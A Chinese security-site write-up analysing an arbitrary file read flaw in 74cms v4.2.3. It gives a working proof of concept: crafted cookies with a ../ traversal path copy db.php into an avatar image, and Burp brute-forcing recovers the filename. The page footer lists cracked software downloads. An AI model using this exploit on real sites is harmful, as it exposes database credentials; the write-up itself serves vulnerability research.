ce安全网绿色资源分享

教程资讯|常用软件|安卓下载|下载排行|最近更新

软件
软件
文章
当前位置:首页网络安全网络安全文章 → 74cms v4.2.3 前台任意文件读取 (2018-1-23)

74cms v4.2.3 前台任意文件读取 (2018-1-23)

时间:2018-01-23 20:45:20人气:作者:本站作者我要评论

漏洞描述

骑士人才系统是一项基于PHP+MYSQL为核心开发的一套免费 + 开源专业人才招聘系统。由太原迅易科技有限公司于2009年正式推出。

74cms在v4.2.3版本中存在前台任意文件读取漏洞,攻击者可以利用此漏洞读取服务器上的敏感文件。

漏洞分析

部分内容被隐藏
评论刷新后查看

这里进入if的条件十分简单,就是我们post的org等于bind,以及我们拥有一个members_bind_info的cookie就好了,然后我们主要是看这个if条件里面的操作:
首先将我们的members_bind_info这个cookie调用object_to_array函数进行了处理,我们看一下这个函数:

在/Application/Common/Common/function.php中第278行:

function object_to_array($obj) {
    $_arr = is_object($obj) ? get_object_vars($obj) : $obj;
    foreach ($_arr as $key => $val) {
        $val = (is_array($val) || is_object($val)) ? object_to_array($val) : $val;
        $arr[$key] = $val;
    }
    return $arr;}

就是将我们的cookie内容转换成数组,转换成数组之后赋值给了$user_bind_info这个变量,然后将$data[‘uid’]赋值给了$user_bind_info[‘uid’],然后实例化了一个oauth类,并且将$user_bind_info[‘type’]传递给了构造函数,我们看一下这个类:

在/Application/Common/qscmslib/oauth.class.php中:

class oauth {
    private $_type = '';
    private $_setting = array();
    private $_error = '';
    public function __construct($name) {
        $this->_type = $name ? $name : C('qscms_oauth_default');
        //加载登陆接口配置
        if(false === $oauth_list = F('oauth_list')){
            $oauth_list = D('Oauth')->oauth_cache();
        }
        $this->_setting = unserialize($oauth_list[$this->_type]['config']);
        //导入接口文件
        include_once QSCMSLIB_PATH . 'oauth/' . $this->_type . '/' . $this->_type . '.php';
        $om_class = $this->_type . '_oauth';
        $this->_om = new $om_class($this->_setting);
    }

可以看到,这里的$this->_type就是我们传递进来的构造函数的参数$name,这里就包含进一个PHP文件,然后实例化这个文件里的类, 我们找一下,在/Application/Common/qscmslib/oauth/下有三个文件夹,分别是qq,sina,taobao,这里我选择qq吧,也就是说我们的$user_bind_info[‘type’]的值是QQ。

然后又将$user_bind_info[‘temp_avatar’]以及$data[‘uid’]带入到了_save_avatar函数中:

 

$this->_save_avatar($user_bind_info['temp_avatar'],$data['uid']);//临时头像转换

我们跟踪一下该函数:

protected function _save_avatar($avatar,$uid){
        if(!$avatar) return false;
        $path = C('qscms_attach_path').'avatar/temp/'.$avatar;
        $image = new \Common\ORG\ThinkImage();
        $date = date('ym/d/');
        $save_avatar=C('qscms_attach_path').'avatar/'.$date;//图片存储路径
        if(!is_dir($save_avatar)) mkdir($save_avatar,0777,true);
        file_put_contents('balisong.txt',time());
        $savePicName = md5($uid.time()).".jpg";
        $filename = $save_avatar.$savePicName;
        $size = explode(',',C('qscms_avatar_size'));
        copy($path, $filename);
        foreach ($size as $val) {
            $image->open($path)->thumb($val,$val,3)->save("{$filename}._{$val}x{$val}.jpg");
        }
        M('Members')->where(array('uid'=>$uid))->setfield('avatars',$date.$savePicName);
        @unlink($path);
    }

 

可以看到将$avatar拼接到了$path变量中,然后将$path copy到了$filename去:


copy($path, $filename);

 

那么这个$filename是啥,它的文件名命名规则为:

$savePicName = md5($uid.time()).".jpg";

也就是说是我们传入的第二个参数$data[‘uid’]+time(),然后md5之后得到的值作为文件名,而我们拷贝过去,形成的是一个jpg文件。

那么这里就存在一个任意文件读取的操作了,首先我们的$avatar是从cookie里面取出来的,并且没有进行过滤,也没有限制后缀,直接拼接到了路径中,导致我们可以通过引用../这种跳目录的方式来让这个文件改变,并且copy之后的文件是个图片文件,众所周知,图片文件我们是可以直接下载下来的,所以我们可以控制源文件,然后可以知道目的文件的路径以及名称,那么就可以达到一个任意文件下载的效果。

但是这里有两个问题是我们需要解决的

  1. 如何伪造cookie

  2. 如何知道复制后的文件路径(包括文件名)

第一个问题我们需要知道cookie这个函数到底是怎样工作的,我们看一下定义:

在/ThinkPHP/Common/functions.php中第1356行:

 

function cookie($name='', $value='', $option=null) {
    // 默认设置
    $config = array(
        'prefix'    =>  C('COOKIE_PREFIX'), // cookie 名称前缀
        'expire'    =>  C('COOKIE_EXPIRE'), // cookie 保存时间
        'path'      =>  C('COOKIE_PATH'), // cookie 保存路径
        'domain'    =>  C('COOKIE_DOMAIN'), // cookie 有效域名
        'secure'    =>  C('COOKIE_SECURE'), //  cookie 启用安全传输
        'httponly'  =>  C('COOKIE_HTTPONLY'), // httponly设置
    );
    // 参数设置(会覆盖黙认设置)
    if (!is_null($option)) {
        if (is_numeric($option))
            $option = array('expire' => $option);
        elseif (is_string($option))
            parse_str($option, $option);
        $config     = array_merge($config, array_change_key_case($option));
    }
    if(!empty($config['httponly'])){
        ini_set("session.cookie_httponly", 1);
    }
    // 清除指定前缀的所有cookie
    if (is_null($name)) {
        if (empty($_COOKIE))
            return null;
        // 要删除的cookie前缀,不指定则删除config设置的指定前缀
        $prefix = empty($value) ? $config['prefix'] : $value;
        if (!empty($prefix)) {// 如果前缀为空字符串将不作处理直接返回
            foreach ($_COOKIE as $key => $val) {
                if (0 === stripos($key, $prefix)) {
                    setcookie($key, '', time() - 3600, $config['path'], $config['domain'],$config['secure'],$config['httponly']);
                    unset($_COOKIE[$key]);
                }
            }
        }
        return null;
    }elseif('' === $name){
        // 获取全部的cookie
        return $_COOKIE;
    }
    $name = $config['prefix'] . str_replace('.', '_', $name);
    if ('' === $value) {
        if(isset($_COOKIE[$name])){
            $value =    $_COOKIE[$name];
            if(0===strpos($value,'think:')){
                $value  =   substr($value,6);
                return array_map('urldecode',json_decode(MAGIC_QUOTES_GPC?stripslashes($value):$value,true));
            }else{
                return $value;
            }
        }else{
            return null;
        }


这里涉及到一个cookie前缀的问题,我们必须要知道这个cookie前缀,但是程序默认是没有设置cookie前缀的,在/ThinkPHP/Conf/convention.php中第36行我们可以看到:

 

 'COOKIE_PREFIX'         =>  '',      // Cookie前缀 避免冲突

 

那么这就解决了cookie伪造的问题。

然后接下里就是复制后的文件路径的问题,文件夹都还是比较好找,是在data\upload\avatar\年月\日

目录下。

那么文件名如何获得,文件名上文提到了额是$data[‘uid’]+time()。

首先我们来解决time(),time很简单,直接注册登录一个账号,然后查看头像处的源代码,png?后面那一串就是time()

 

好,time()我们能够得到一个大概了(误差不超过几秒),到时候稍微一爆破就搞定,接下来就是$data[‘uid’]了,那么这个$data[‘uid’]我们可以控制么?

答案是肯定的。

我们可以在cookie中指定uid来让我们的uid固定,但是为了不防止跟表里的用户冲突(主键唯一),我们将uid设大一点,比如说6666666。

漏洞证明

首先让文件先拷贝(这里我们拷贝db.php):

 

http://www.cesafe.com/74cms42/index.php?m=&c=members&a=register
 
POST: ajax=1&reg_type=2&utype=2&org=bind&ucenter=bind
 
COOKIE:
 
members_bind_info[temp_avatar]=../../../../Application/Common/Conf/db.php
 
members_bind_info[type]=qq
 
members_uc_info
		
输入密码查看加密内容:

=balisong members_uc_info[uid]=666666 members_uc_info[username]=balisong

这里要加入五个cookie,并且都是以数组的形式的cookie。

其实到这一步文件已经复制好了,我们可以去/data/upload/avatar/年月/日文件夹下去看一下:

比如我利用的时候是2017年6月28日,那么文件夹如下:

**data\upload\avatar\1706\28

可以看到,已经有一张图片了:

 

74cms v4.2.3 前台任意文件读取 (2018-1-23)

我们打开看一下这张图片的内容,也确实是db.php的内容。

那么我们如何去url访问到这张图片。

首先我们uid已经固定好了,是666666了,然后我们得到time(),如图:

74cms v4.2.3 前台任意文件读取 (2018-1-23)

我这里是1498581147。

然后我们是提前查看的这个time再打的payload,

那么payload的time比这个time是要多的,但是控制在300秒以内。

我们爆破一下就能得到文件名,生成一下字典,然后载入burpsuite开始跑。

74cms v4.2.3 前台任意文件读取 (2018-1-23)

 

得到的是md5(666666.1498581227)==6656852797209251cdfea25fd3b25b96

74cms v4.2.3 前台任意文件读取 (2018-1-23)

与上文文件名吻合。我们访问一下:

http://localhost/74cms42/data/upload/avatar/1706/28/6656852797209251cdfea25fd3b25b96.jpg

然后将图像下载保存就可以看到db.php的内容了。

相关文章

猜你喜欢

  • Ougishi绿色版下载 V4.00 中文版

    2020-06-19 / 561k

  • 谷歌地图下载助手睿智版破解下载 V9.5绿色版

    2020-06-19 / 32.7M

  • OfficeFIX中文破解版V6.110 注册版

    2020-06-19 / 26.8M

  • Plotagraph破解版V1.2.0 免费版 32/64位

    2020-06-19 / 31.5M

  • IP查详细地址工具下载 V1.1 官方免费版

    2020-06-19 / 408K

  • 内存扫把中文版下载V1.97绿色版

    2020-06-19 / 1.3M

网友评论

验证码:

请自觉遵守互联网相关政策法规,评论内容只代表网友观点,与本站立场无关!

最新评论

已有人参与,点击查看更多精彩评论

关于CE安全网 | 联系方式 | 发展历程 | 版权声明 | 下载帮助(?) | 广告联系 | 网站地图 | 友情链接

Copyright 2019-2029 cesafe.com 【CE安全网】 版权所有 蜀ICP备19039426号-2| 蜀ICP备19039426号-2

声明: 本站为非赢利性网站 不接受任何赞助和广告 所有软件和文章来自互联网 如有异议 请与本站联系 技术支持:ce安全网